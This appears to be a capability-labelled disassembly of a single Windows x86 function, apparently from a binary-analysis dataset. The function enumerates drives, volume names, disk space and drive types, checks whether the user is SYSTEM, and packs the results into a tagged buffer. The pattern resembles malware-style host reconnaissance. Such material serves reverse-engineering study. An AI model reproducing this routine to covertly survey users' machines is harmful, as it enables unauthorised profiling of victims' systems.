Function at 0x10003ad0
Capabilities:
Get common file path
Get disk information
Get disk size
Get file system object information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x890
mov eax, dword [0x10008160]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x208]
push eax
mov ebx, ecx
push 0x100
mov dword [ebp - 0x88c], ebx
mov dword [ebp - 0x880], 0x100
mov byte [ebp - 0x608], 0xc9
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xorps xmm0, xmm0
push str.shell32.dll
lea edi, [ebp - 0x208]
movlpd qword [ebp - 0x87c], xmm0
movlpd qword [ebp - 0x888], xmm0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100064b8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x880]
push eax
lea eax, [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x70c]
push str.SYSTEM
push eax
call dword [sym.imp.MSVCR110.dll__stricmp]
add esp, 8
test eax, eax
mov ecx, ebx
sete byte [ebp - 0x607]
call fcn.100034a0
mov esi, eax
lea eax, [ebp - 0x606]
push eax
push 0
push esi
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x606]
push eax
call ebx
cmp byte [ebp - 0x208], 0
lea esi, [eax + 3]
mov dword [ebp - 0x870], esi
je 0x10003d1a
lea esp, [esp]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
push 0x160
lea eax, [ebp - 0x86c]
push eax
push 0x80
push edi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x75c]
push eax
call ebx
inc eax
mov dword [ebp - 0x890], eax
lea eax, [ebp - 0x108]
push eax
call ebx
mov cl, byte [edi]
inc eax
mov dword [ebp - 0x874], eax
cmp cl, 0x41
je 0x10003c7f
cmp cl, 0x42
je 0x10003c7f
push 0
lea eax, [ebp - 0x87c]
push eax
lea eax, [ebp - 0x888]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10003c7f
mov esi, dword [ebp - 0x87c]
mov eax, dword [ebp - 0x878]
mov ebx, dword [ebp - 0x888]
shrd esi, eax, 0x14
shr eax, 0x14
mov eax, dword [ebp - 0x884]
shrd ebx, eax, 0x14
shr eax, 0x14
jmp 0x10003c83
xor esi, esi
xor ebx, ebx
mov ecx, dword [ebp - 0x870]
mov al, byte [edi]
push edi
mov byte [ebp + ecx - 0x608], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, dword [ebp - 0x870]
mov byte [ebp + ecx - 0x607], al
mov dword [ebp + ecx - 0x606], esi
mov esi, ecx
lea eax, [ebp - 0x75c]
mov dword [ebp + esi - 0x602], ebx
mov ebx, dword [ebp - 0x890]
push ebx
push eax
lea eax, [ebp - 0x5fe]
add eax, esi
push eax
call sub.MSVCR110.dll_memcpy
push dword [ebp - 0x874]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebx + esi]
lea eax, [ebp + eax - 0x5fe]
push eax
call sub.MSVCR110.dll_memcpy
mov eax, dword [ebp - 0x874]
add eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x18
add esi, 0xa
add esi, eax
push edi
mov dword [ebp - 0x870], esi
call ebx
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x10003bc0
mov ecx, dword [ebp - 0x88c]
push esi
lea eax, [ebp - 0x608]
push eax
call fcn.10001df0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100045c6
mov esp, ebp
pop ebp
ret